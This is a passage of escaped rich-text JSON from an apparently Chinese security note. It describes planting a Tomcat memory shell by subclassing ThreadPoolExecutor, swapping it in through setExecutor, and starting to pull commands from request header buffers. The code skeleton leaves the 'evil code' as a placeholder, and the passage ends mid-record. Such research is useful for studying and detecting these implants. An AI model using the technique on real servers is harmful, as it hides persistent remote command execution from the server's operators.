}&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;iSGd-1659063222455&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;k9RK-1659063222454&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;}&#34;,&#34;marks&#34;:[]}]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;KfD7-1659061539151&#34;,&#34;name&#34;:&#34;heading&#34;,&#34;data&#34;:{&#34;level&#34;:&#34;h4&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;fXK7-1659061539150&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;Executor&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;bold&#34;},{&#34;type&#34;:&#34;fontSize&#34;,&#34;value&#34;:18}]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;mXqL-1659065582548&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ZwNJ-1659065582547&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;见下文。&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;p715-1659065577030&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;anOB-1659065577028&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;dZs1-1659063607692&#34;,&#34;name&#34;:&#34;heading&#34;,&#34;data&#34;:{&#34;level&#34;:&#34;h2&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;HHzV-1659063607690&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;Executor以及恶意Executor的实现：&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;bold&#34;},{&#34;type&#34;:&#34;fontSize&#34;,&#34;value&#34;:22}]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;mkXt-1659065113030&#34;,&#34;name&#34;:&#34;code&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;language&#34;:&#34;&#34;,&#34;theme&#34;:&#34;default&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;R9xM-1659065112744&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Aqte-1659065112743&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;//删掉了很多注解，有兴趣可以自行查阅。&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;BbYm-1659065113001&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;RZkI-1659065113000&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;public interface Executor {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;viOb-1659065113003&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;VzVv-1659065113002&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Kv2t-1659065113005&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;oDj9-1659065113004&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    /**&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;YROc-1659065113007&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Rfoh-1659065113006&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;     * Executes the given command at some time in the future.  The command&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;7Fpc-1659065113009&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;TiBJ-1659065113008&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;     * may execute in a new thread, in a pooled thread, or in the calling&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;18jw-1659065113011&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Ecnc-1659065113010&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;     * thread, at the discretion of the {@code Executor} implementation.&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;yFia-1659065113013&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Vmm9-1659065113012&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;     *&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;6Og3-1659065113015&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Y3vr-1659065113014&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;     * @param command the runnable task&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;NSJu-1659065113017&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;7GYj-1659065113016&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;     * @throws RejectedExecutionException if this task cannot be&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;oHxG-1659065113019&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;PpSi-1659065113018&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;     * accepted for execution&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;zpVe-1659065113021&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;8kOh-1659065113020&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;     * @throws NullPointerException if command is null&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;etIC-1659065113023&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;w8Nh-1659065113022&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;     */&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;apse-1659065113025&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;qPz2-1659065113024&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    void execute(Runnable command);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;PnMC-1659065113027&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;tTbM-1659065113026&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;}&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;qp46-1659065113029&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;hGKH-1659065113028&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;f1Ne-1659063791310&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;pkp1-1659063791308&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;Executor其实是Tomcat定制版的线程池，具体设计理论我们无需细究，但有一点我们值得关注：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;R6aC-1659063777082&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;style&#34;:{&#34;textIndent&#34;:0}},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;vwj4-1659063777078&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;在Tomcat中Executor由Service维护，因此同一个Service中的组件可以共享一个线程池。如果没有定义任何线程池，相关组件( 如Endpoint)会自动创建线程池，此时，线程池不再共享。&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;bold&#34;}]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;I5bp-1659064382227&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;BX5J-1659064382225&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;（这也是为什么之前我获取Service直接往executors组里添加executor但却并不生效的原因。）&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;XEAz-1659064505720&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;kbPS-1659064505706&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;可以看到这里是直接获取的EndPoint自己启动的TreadPoolExecutor类：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;u498-1659064679952&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;//note.youdao.com/yws/res/9/WEBRESOURCE180f7d21503a13e3c51c45547668e459&#34;,&#34;width&#34;:662,&#34;height&#34;:420},&#34;nodes&#34;:[],&#34;state&#34;:{&#34;renderSource&#34;:&#34;//note.youdao.com/yws/res/9/WEBRESOURCE180f7d21503a13e3c51c45547668e459&#34;,&#34;initialSize&#34;:{&#34;width&#34;:662,&#34;height&#34;:420},&#34;loading&#34;:false}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;uXMM-1659064518287&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;6IaL-1659064518285&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;并且他的关键调用方法就在下一行 : executor.execute()&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;a1Z7-1659064845914&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;//note.youdao.com/yws/res/0/WEBRESOURCE5c4ddbfc07e0164fbd4dc4e846aed940&#34;,&#34;width&#34;:662,&#34;height&#34;:420},&#34;nodes&#34;:[],&#34;state&#34;:{&#34;renderSource&#34;:&#34;//note.youdao.com/yws/res/0/WEBRESOURCE5c4ddbfc07e0164fbd4dc4e846aed940&#34;,&#34;initialSize&#34;:{&#34;width&#34;:662,&#34;height&#34;:420},&#34;loading&#34;:false}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;PMVT-1659064765220&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;jwfL-1659064765219&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;8xHe-1659065909085&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;f8eO-1659065909083&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;找到其核心处理逻辑后，我们只需继承它，并重写该方法将恶意逻辑写入其中。&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;OPbB-1659064993116&#34;,&#34;name&#34;:&#34;code&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;language&#34;:&#34;&#34;,&#34;theme&#34;:&#34;default&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;IjOc-1659064993043&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;fWTI-1659064993042&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;public class threadexcutor extends ThreadPoolExecutor {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;fFCk-1659065502692&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;haqa-1659065502691&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Qx6M-1659065514484&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;0RK2-1659065514482&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    ......&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;CUNe-1659065520001&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;3T4T-1659065519999&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    &#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;8NDw-1659065502694&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;8zQ1-1659065502693&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    public threadexcutor(int corePoolSize, int maximumPoolSize, long keepAliveTime, TimeUnit unit, BlockingQueue&lt;Runnable&gt;workQueue, ThreadFactory threadFactory, RejectedExecutionHandler handler) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;3vAr-1659065502696&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;nXPA-1659065502695&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        super(corePoolSize, maximumPoolSize, keepAliveTime, unit, workQueue, threadFactory, handler);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;VRWv-1659065502698&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;MfmS-1659065502697&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    }  &#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;BSTH-1659065497515&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;BiLq-1659065497499&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;   &#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;jqJ2-1659065529978&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;DCzb-1659065529976&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;   ......&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;X0t4-1659065531704&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;nL1N-1659065531703&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;   &#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;XAdz-1659065497703&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;RHn5-1659065497701&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;     @Override&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;DKjh-1659064993045&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;G0a7-1659064993044&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        public void execute(Runnable command) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;HtQq-1659064993047&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;vkIm-1659064993046&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;           &#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;3sGL-1659065037435&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;w74J-1659065037433&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;             System.out.println(\&#34;123\&#34;)；&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;IJIj-1659065020556&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;4Jhc-1659065020553&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            //Evil code here&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;c02l-1659064993111&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Ael7-1659064993110&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            this.execute(command, 0L, TimeUnit.MILLISECONDS);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;uG5I-1659065040616&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;weKP-1659065040614&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            &#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;2Reo-1659065218313&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;26HA-1659065218311&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;  }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;iMsU-1659065521716&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;gCLp-1659065521714&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;  &#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;6FTs-1659064993115&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;8Ekj-1659064993114&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    ......&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;xVGz-1659065524427&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;1DHP-1659065524425&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    &#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;dLW9-1659065504989&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;7wjm-1659065504987&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;}&#34;,&#34;marks&#34;:[]}]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;BwfP-1659064722838&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;8TIo-1659064722837&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;lzhu-1659065224879&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;aipV-1659065224877&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;通过AbstractEndpoint中的setExecutor方法将原本的executor置换为我们的恶意类。&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;sd5x-1659065284815&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;//note.youdao.com/yws/res/d/WEBRESOURCE1eba386dc4b9b2e5c36c0e72eb38cd7d&#34;,&#34;width&#34;:662,&#34;height&#34;:420},&#34;nodes&#34;:[],&#34;state&#34;:{&#34;renderSource&#34;:&#34;//note.youdao.com/yws/res/d/WEBRESOURCE1eba386dc4b9b2e5c36c0e72eb38cd7d&#34;,&#34;initialSize&#34;:{&#34;width&#34;:662,&#34;height&#34;:420},&#34;loading&#34;:false}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;YEIc-1659065212676&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Grsa-1659065212674&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;置换后，Endpoint处理所使用的executor成功变为我们的恶意类：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;bA7A-1659066025645&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;//note.youdao.com/yws/res/2/WEBRESOURCEc4e8a7206fa065b3cab1fd2aaa3e8bc2&#34;,&#34;width&#34;:662,&#34;height&#34;:420},&#34;nodes&#34;:[],&#34;state&#34;:{&#34;renderSource&#34;:&#34;//note.youdao.com/yws/res/2/WEBRESOURCEc4e8a7206fa065b3cab1fd2aaa3e8bc2&#34;,&#34;initialSize&#34;:{&#34;width&#34;:662,&#34;height&#34;:420},&#34;loading&#34;:false}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;eib8-1659065614064&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;tC0O-1659065614062&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;cdyw-1659066091288&#34;,&#34;name&#34;:&#34;heading&#34;,&#34;data&#34;:{&#34;level&#34;:&#34;h2&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;XFOe-1659066091273&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;实现交互&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;bold&#34;},{&#34;type&#34;:&#34;fontSize&#34;,&#34;value&#34;:22}]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;gF1s-1659066273054&#34;,&#34;name&#34;:&#34;heading&#34;,&#34;data&#34;:{&#34;level&#34;:&#34;h3&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;vvwq-1659066273052&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;获取命令&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;bold&#34;},{&#34;type&#34;:&#34;fontSize&#34;,&#34;value&#34;:20}]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Izh6-1659066229645&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;eNJK-1659066229646&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;根据上文中的前置知识和Tomcat笔记（其一）中我们所描述的，标准的ServletRequest需要经过Processor的封装后才可获得，如果我们想要把命令放在header中传入，该如何实现？&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;NEDE-1659066270667&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;0eyl-1659066270664&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;实现的方法肯定不止一种，此处我借用java内存搜索工具找到一处位于NioEndpoint中的nioChannels的appReadBufHandler，很明显其中的Buffer存放着我们所需要的request。&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;TSjw-1659067118626&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;//note.youdao.com/yws/res/b/WEBRESOURCE1fe92af6ed17a6e90cac26a249ce47fb&#34;,&#34;width&#34;:662,&#34;height&#